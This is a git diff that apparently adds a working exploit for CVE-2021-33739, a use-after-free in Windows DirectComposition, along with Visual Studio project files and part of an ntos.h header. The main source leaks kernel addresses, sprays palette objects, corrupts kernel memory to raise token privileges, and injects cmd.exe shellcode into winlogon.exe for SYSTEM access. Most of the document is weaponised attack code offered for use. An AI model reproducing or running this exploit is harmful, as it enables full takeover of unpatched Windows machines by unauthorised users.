nCmdGetAnimationTime, + nCmdCapturePointer, + nCmdOpenSharedResourceHandle, + nCmdSetResourceCallbackId, + nCmdSetResourceIntegerProperty, + nCmdSetResourceFloatProperty, + nCmdSetResourceHandleProperty, + nCmdSetResourceHandleArrayProperty, + nCmdSetResourceBufferProperty, + nCmdSetResourceReferenceProperty, + nCmdSetResourceReferenceArrayProperty, + nCmdSetResourceAnimationProperty, + nCmdSetResourceDeletedNotificationTag, + nCmdAddVisualChild, + nCmdRedirectMouseToHwnd, + nCmdSetVisualInputSink, + nCmdRemoveVisualChild +}; + + +typedef +NTSTATUS +(NTAPI *_NtDCompositionCreateChannel)( + OUT PHANDLE pArgChannelHandle, + IN OUT PSIZE_T pArgSectionSize, + OUT PVOID* pArgSectionBaseMapInProcess + ); + +typedef +NTSTATUS +(NTAPI* _NtDCompositionDestroyChannel)( + IN HANDLE ChannelHandle + ); + + +typedef +NTSTATUS +(NTAPI *_NtDCompositionProcessChannelBatchBuffer)( + IN HANDLE hChannel, + IN DWORD dwArgStart, + OUT PDWORD pOutArg1, + OUT PDWORD pOutArg2); + +typedef +NTSTATUS +(NTAPI* _NtDCompositionCommitChannel)( + IN HANDLE hChannel, + OUT PDWORD pOutArg1, + OUT PDWORD pOutArg2, + IN DWORD flag, + IN HANDLE Object); + +typedef +NTSTATUS +(NTAPI* _NtDCompositionCreateSynchronizationObject)( + void** a1 + ); + + +typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength); + +typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)( + HANDLE ProcessHandle, + void* BaseAddress, + const void* SourceBuffer, + size_t Length, + size_t* BytesWritten); + +typedef struct _EXPLOIT_CONTEXT { + PPEB pPeb; + _NtQuerySystemInformation fnNtQuerySystemInformation; + _NtWriteVirtualMemory fnNtWriteVirtualMemory; + + HANDLE hCurProcessHandle; + HANDLE hCurThreadHandle; + DWORD64 dwKernelEprocessAddr; + DWORD64 dwKernelEthreadAddr; + + DWORD previous_mode_offset; + + DWORD win32_process_offset; // EPROCESS->Win32Process + + DWORD GadgetAddrOffset; + DWORD ObjectSize; +}EXPLOIT_CONTEXT, * PEXPLOIT_CONTEXT; + +PEXPLOIT_CONTEXT g_pExploitCtx; + +SIZE_T GetObjectKernelAddress(PEXPLOIT_CONTEXT pCtx, HANDLE object) +{ + PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL; + ULONG handleInfoSize = 0x1000; + ULONG retLength; + NTSTATUS status; + SIZE_T kernelAddress = 0; + BOOL bFind = FALSE; + + while (TRUE) + { + handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); + + status = pCtx->fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); + + if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH + { + LocalFree(handleInfo); + + handleInfoSize = retLength + 0x100; + handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); + + status = pCtx->fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); + + if (NT_SUCCESS(status)) + { + for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) + { + if ((USHORT)object == 0x4) + { + if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue) + { + kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; + bFind = TRUE; + break; + } + } + else + { + if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue) + { + kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; + bFind = TRUE; + break; + } + } + } + } + + } + + if (handleInfo) + LocalFree(handleInfo); + + if (bFind) + break; + } + + return kernelAddress; +} + +void WriteMemory(void* dst, const void* src, size_t size) +{ + size_t num_bytes_written; + g_pExploitCtx->fnNtWriteVirtualMemory(GetCurrentProcess(), dst, src, size, &num_bytes_written); +} + +DWORD64 ReadPointer(void* address) +{ + DWORD64 value; + WriteMemory(&value, address, sizeof(DWORD64)); + return value; +} + +void WritePointer(void* address, DWORD64 value) +{ + WriteMemory(address, &value, sizeof(DWORD64)); +} + +BOOL InitEnvironment() +{ + g_pExploitCtx = new EXPLOIT_CONTEXT; + + g_pExploitCtx->fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation"); + g_pExploitCtx->fnNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtWriteVirtualMemory"); + + g_pExploitCtx->pPeb = NtCurrentTeb()->ProcessEnvironmentBlock; + + if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &g_pExploitCtx->hCurProcessHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) || + !DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &g_pExploitCtx->hCurThreadHandle, 0, FALSE, DUPLICATE_SAME_ACCESS)) + return FALSE; + + g_pExploitCtx->dwKernelEprocessAddr = GetObjectKernelAddress(g_pExploitCtx, g_pExploitCtx->hCurProcessHandle); + g_pExploitCtx->dwKernelEthreadAddr = GetObjectKernelAddress(g_pExploitCtx, g_pExploitCtx->hCurThreadHandle); + + if (g_pExploitCtx->pPeb->OSMajorVersion < 10) + { + return FALSE; + } + + if (g_pExploitCtx->pPeb->OSBuildNumber < 17763 || g_pExploitCtx->pPeb->OSBuildNumber > 19042) + { + return FALSE; + } + + switch (g_pExploitCtx->pPeb->OSBuildNumber) + { + case 18362: + case 18363: + g_pExploitCtx->win32_process_offset = 0x3b0; + g_pExploitCtx->previous_mode_offset = 0x232; + g_pExploitCtx->GadgetAddrOffset = 0x50; + g_pExploitCtx->ObjectSize = 0x1a0; + break; + case 19041: + case 19042: + g_pExploitCtx->win32_process_offset = 0x508; + g_pExploitCtx->previous_mode_offset = 0x232; + g_pExploitCtx->GadgetAddrOffset = 0x38; + g_pExploitCtx->ObjectSize = 0x1d0; + break; + default: + break; + } + + return TRUE; +} + +DWORD64 where; + +HPALETTE createPaletteofSize1(int size) { + int pal_cnt = (size + 0x8c - 0x90) / 4; + int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY); + LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize); + DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4); + memset(lPalette, 0xff, palsize); + + p[0] = (DWORD64)0xffffffff; + p[3] = (DWORD64)0x04; + p[9] = g_pExploitCtx->dwKernelEthreadAddr + g_pExploitCtx->previous_mode_offset - 9 - 8; + + lPalette->palNumEntries = pal_cnt; + lPalette->palVersion = 0x300; + return CreatePalette(lPalette); +} + +HPALETTE createPaletteofSize2(int size) { + int pal_cnt = (size + 0x8c - 0x90) / 4; + int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY); + LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize); + DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4); + memset(lPalette, 0xff, palsize); + + p[0] = (DWORD64)0xffffffff; + p[3] = (DWORD64)0x04; + p[9] = where - 8 + 3; + + lPalette->palNumEntries = pal_cnt; + lPalette->palVersion = 0x300; + return CreatePalette(lPalette); +} + + +// run cmd.exe +unsigned char shellcode[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \ +"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ +"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \ +"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \ +"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \ +"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \ +"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \ +"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \ +"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \ +"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \ +"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \ +"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \ +"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \ +"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \ +"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \ +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \ +"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \ +"\x78\x65\x00"; + +static const unsigned int shellcode_len = 0x1000; + + + +#define MAXIMUM_FILENAME_LENGTH 255 +#define SystemModuleInformation 0xb +#define SystemHandleInformation 0x10 + +void InjectToWinlogon() +{ + PROCESSENTRY32 entry; + entry.dwSize = sizeof(PROCESSENTRY32); + + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + + int pid = -1; + if (Process32First(snapshot, &entry)) + { + while (Process32Next(snapshot, &entry)) + { + if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0) + { + pid = entry.th32ProcessID; + break; + } + } + } + + CloseHandle(snapshot); + + if (pid < 0) + { + printf("Could not find process\n"); + return; + } + + HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (!h) + { + printf("Could not open process: %x", GetLastError()); + return; + } + + void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!buffer) + { + printf("[-] VirtualAllocEx failed\n"); + } + + if (!buffer) + { + printf("[-] remote allocation failed"); + return; + } + + if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0)) + { + printf("[-] WriteProcessMemory failed"); + return; + } + + HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0); + + if (hthread == INVALID_HANDLE_VALUE) + { + printf("[-] CreateRemoteThread failed"); + return; + } +} + + +#define TOKEN_OFFSET 0x40 //_SEP_TOKEN_PRIVILEGES offset + +HMODULE GetNOSModule() +{ + HMODULE hKern = 0; + hKern = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); + return hKern; +} + +DWORD64 GetModuleAddr(const char* modName) +{ + PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20); + + DWORD outBuffer = 0; + NTSTATUS status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer); + + if (status == STATUS_INFO_LENGTH_MISMATCH) + { + free(buffer); + buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer); + status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer); + } + + if (!buffer) + { + printf("[-] NtQuerySystemInformation error\n"); + return 0; + } + + for (unsigned int i = 0; i < buffer->NumberOfModules; i++) + { + PVOID kernelImageBase = buffer->Modules[i].ImageBase; + PCHAR kernelImage = (PCHAR)buffer->Modules[i].FullPathName; + if (_stricmp(kernelImage, modName) == 0) + { + free(buffer); + return (DWORD64)kernelImageBase; + } + } + free(buffer); + return 0; +} + + +DWORD64 GetKernelPointer(HANDLE handle, DWORD type) +{ + PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20); + + DWORD outBuffer = 0; + NTSTATUS status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer); + + if (status == STATUS_INFO_LENGTH_MISMATCH) + { + free(buffer); + buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer); + status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer); + } + + if (!buffer) + { + printf("[-] NtQuerySystemInformation error \n"); + return 0; + } + + for (size_t i = 0; i < buffer->NumberOfHandles; i++) + { + DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex; + + if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type) + { + if (handle == (HANDLE)buffer->Handles[i].HandleValue) + { + DWORD64 object = (DWORD64)buffer->Handles[i].Object; + free(buffer); + return object; + } + } + } + printf("[-] handle not found\n"); + free(buffer); + return 0; +} + +DWORD64 GetGadgetAddr(const char* name) +{ + DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe"); + HMODULE mod = GetNOSModule(); + if (!mod) + { + printf("[-] leaking ntoskrnl version\n"); + return 0; + } + DWORD64 offset = (DWORD64)GetProcAddress(mod, name); + DWORD64 returnValue = base + offset - (DWORD64)mod; + //printf("[+] FunAddr: %p\n", (DWORD64)returnValue); + FreeLibrary(mod); + return returnValue; +} + +DWORD64 PsGetCurrentCProcessData() +{ + DWORD64 dwWin32ProcessAddr = ReadPointer((void*)( g_pExploitCtx->dwKernelEprocessAddr + g_pExploitCtx->win32_process_offset) ); + return ReadPointer((void*)(dwWin32ProcessAddr + 0x100)); +} + +void RestoreStatus() +{ + DWORD64 dwCGenericTableAddr = ReadPointer((void *)PsGetCurrentCProcessData()); + + WritePointer((void*)dwCGenericTableAddr, 0); + WritePointer((void*)( dwCGenericTableAddr + 8 ), 0); + WritePointer((void*)(dwCGenericTableAddr + 16), 0); + + byte value = 1; + WriteMemory((void*)(g_pExploitCtx->dwKernelEthreadAddr + g_pExploitCtx->previous_mode_offset), &value, sizeof(byte)); +} + + +int main(int argc, TCHAR* argv[]) +{ + HANDLE hChannel; + NTSTATUS ntStatus; + SIZE_T SectionSize = 0x500000; + PVOID pMappedAddress = NULL; + DWORD dwArg1, dwArg2; + + if (!InitEnvironment()) { + printf("[-] Inappropriate Operating System\n"); + return 0; + } + + LoadLibrary(TEXT("user32")); + + LPVOID pV = VirtualAlloc((LPVOID)0xffffffff, 0x100000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!pV) + { + printf("[-] Failed to allocate memory at address 0xffffffff, please try again!\n"); + return 0; + } + DWORD64* Ptr = (DWORD64*)0xffffffff; + DWORD64 GadgetAddr = GetGadgetAddr("SeSetAccessStateGenericMapping"); + + //printf("[+] found SeSetAccessStateGenericMapping addr at: %p\n", (DWORD64)GadgetAddr); + + memset(Ptr, 0xff, 0x1000); + *(DWORD64*)((DWORD64)Ptr + g_pExploitCtx->GadgetAddrOffset ) = GadgetAddr; + + + HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); + if (!proc) + { + printf("[-] OpenProcess failed\n"); + return 0; + } + HANDLE token = 0; + if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token)) + { + printf("[-] OpenProcessToken failed\n"); + return 0; + } + + DWORD64 ktoken = GetKernelPointer(token, 0x5); + where = ktoken + TOKEN_OFFSET; + + _NtDCompositionCreateChannel NtDCompositionCreateChannel; + NtDCompositionCreateChannel = (_NtDCompositionCreateChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCreateChannel"); + + _NtDCompositionDestroyChannel NtDCompositionDestroyChannel; + NtDCompositionDestroyChannel = (_NtDCompositionDestroyChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionDestroyChannel"); + + _NtDCompositionProcessChannelBatchBuffer NtDCompositionProcessChannelBatchBuffer; + NtDCompositionProcessChannelBatchBuffer = (_NtDCompositionProcessChannelBatchBuffer)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionProcessChannelBatchBuffer"); + + _NtDCompositionCommitChannel NtDCompositionCommitChannel; + NtDCompositionCommitChannel = (_NtDCompositionCommitChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCommitChannel"); + + _NtDCompositionCreateSynchronizationObject NtDCompositionCreateSynchronizationObject; + NtDCompositionCreateSynchronizationObject = (_NtDCompositionCreateSynchronizationObject)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCreateSynchronizationObject"); + + void* p = 0; + ntStatus = NtDCompositionCreateSynchronizationObject(&p); + + // create a new channel + ntStatus = NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress); + if (!NT_SUCCESS(ntStatus)) { + printf("Create channel error!\n"); + return -1; + } + + + *(DWORD*)(pMappedAddress) = nCmdCreateResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)1; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x59; //DirectComposition::CInteractionTrackerBindingManagerMarshaler + *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE; + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2); + + *(DWORD*)(pMappedAddress) = nCmdCreateResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)2; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler + *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE; + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2); + + *(DWORD*)(pMappedAddress) = nCmdCreateResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)3; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler + *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE; + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2); + + *(DWORD*)(pMappedAddress) = nCmdCreateResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)4; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler + *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE; + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2); + // + // set argument of NtDCompositionProcessChannelBatchBuffer + // + + DWORD* szBuff = (DWORD*)malloc(4 * 3); + + szBuff[0] = 0x02; + szBuff[1] = 0x03; + szBuff[2] = 0xffff; + + *(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1); // CInteractionTrackerBindingManagerMarshaler + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 0; + *(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12; + CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12); + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2); + if (ntStatus != 0) + { + printf("error!\n"); + return 0; + } + + szBuff[0] = 0x02; + szBuff[1] = 0x03; + szBuff[2] = 0x0; + + *(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1); + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 0; + *(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12; + CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12); + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2); + + *(DWORD*)pMappedAddress = nCmdReleaseResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)2; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 8; + + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2); + if (ntStatus != 0) + { + printf("error!\n"); + return 0; + } + for (size_t i = 0; i < 0x5000; i++) + { + createPaletteofSize1(g_pExploitCtx->ObjectSize); + } + + *(DWORD*)pMappedAddress = nCmdReleaseResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)3; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 8; + + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2); + if (ntStatus != 0) + { + printf("error!\n"); + return 0; + } + for (size_t i = 0; i < 0x5000; i++) + { + createPaletteofSize2(g_pExploitCtx->ObjectSize); + } + + szBuff[0] = 0x04; + szBuff[1] = 0x04; + szBuff[2] = 0xffff; + + *(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1); + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 0; + *(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12; + CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12); + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2); + + if (ntStatus != 0) + { + printf("error!\n"); + return 0; + } + + + NtDCompositionCommitChannel(hChannel, &dwArg1, &dwArg2, 0, p); + + + //getc(stdin); + InjectToWinlogon(); + + RestoreStatus(); + + *(DWORD*)pMappedAddress = nCmdReleaseResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)1; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 8; + + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2); + + *(DWORD*)pMappedAddress = nCmdReleaseResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)4; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 8; + + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2); + + return 0; +} diff --git a/00-CVE_EXP/CVE-2021-33739/exp/exp.vcxproj b/00-CVE_EXP/CVE-2021-33739/exp/exp.vcxproj new file mode 100644 index 0000000..459b8bc --- /dev/null +++ b/00-CVE_EXP/CVE-2021-33739/exp/exp.vcxproj @@ -0,0 +1,170 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB} + Win32Proj + exp + 10.0 + + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + + + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + + + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + + + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-33739/exp/exp.vcxproj.filters b/00-CVE_EXP/CVE-2021-33739/exp/exp.vcxproj.filters new file mode 100644 index 0000000..0337c4d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-33739/exp/exp.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-33739/exp/exp.vcxproj.user b/00-CVE_EXP/CVE-2021-33739/exp/exp.vcxproj.user new file mode 100644 index 0000000..be25078 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-33739/exp/exp.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-33739/exp/ntos.h b/00-CVE_EXP/CVE-2021-33739/exp/ntos.h new file mode 100644 index 0000000..533da37 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-33739/exp/ntos.h @@ -0,0 +1,6451 @@ +/************************************************************************************ +* +* (C) COPYRIGHT AUTHORS, 2015 - 2017, translated from Microsoft sources/debugger +* +* TITLE: NTOS.H +* +* VERSION: 1.74 +* +* DATE: 01 Dec 2017 +* +* Common header file for the ntos API functions and definitions. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +************************************************************************************/ +#ifdef _In_reads_ +#undef _In_reads_ +#endif +#define _In_reads_(s) + +#ifdef _In_reads_bytes_ +#undef _In_reads_bytes_ +#endif +#define _In_reads_bytes_(s) + +#ifdef _Out_writes_opt_ +#undef _Out_writes_opt_ +#endif +#define _Out_writes_opt_(s) + +#define _Out_writes_to_opt_(s,c) +#ifdef _Out_writes_bytes_to_opt_ +#undef _Out_writes_bytes_to_opt_ +#endif +#define _Out_writes_bytes_to_opt_(s,c) + + +#pragma warning(disable: 4214) // nonstandard extension used : bit field types other than int + +#define IN_REGION(x, Base, Size) (((ULONG_PTR)x >= (ULONG_PTR)Base) && ((ULONG_PTR)x <= (ULONG_PTR)Base + (ULONG_PTR)Size)) + +#define ALIGN_DOWN(count,size) \ + ((ULONG_PTR)(count) & ~((ULONG_PTR)(size) - 1)) + +#define ALIGN_UP(count,size) \ + (ALIGN_DOWN( (ULONG_PTR)(count)+(ULONG_PTR)(size)-1, (ULONG_PTR)(size) )) + +#define ARGUMENT_PRESENT(ArgumentPointer) (\ + (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) + +//Access Rights + +#define CALLBACK_MODIFY_STATE 0x0001 +#define CALLBACK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|CALLBACK_MODIFY_STATE ) + +#define DEBUG_READ_EVENT (0x0001) +#define DEBUG_PROCESS_ASSIGN (0x0002) +#define DEBUG_SET_INFORMATION (0x0004) +#define DEBUG_QUERY_INFORMATION (0x0008) +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|DEBUG_READ_EVENT|DEBUG_PROCESS_ASSIGN|\ + DEBUG_SET_INFORMATION|DEBUG_QUERY_INFORMATION) + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) + +#define EVENT_QUERY_STATE 0x0001 +#define EVENT_MODIFY_STATE 0x0002 +#define EVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define EVENT_PAIR_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE) + +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define KEYEDEVENT_WAIT 0x0001 +#define KEYEDEVENT_WAKE 0x0002 +#define KEYEDEVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | KEYEDEVENT_WAIT | KEYEDEVENT_WAKE) + +#define MUTANT_QUERY_STATE 0x0001 +#ifndef MUTANT_ALL_ACCESS +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|MUTANT_QUERY_STATE) +#endif // _DEBUG + + +#define PORT_CONNECT (0x0001) +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +#define PROFILE_CONTROL (0x0001) +#define PROFILE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | PROFILE_CONTROL) + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define 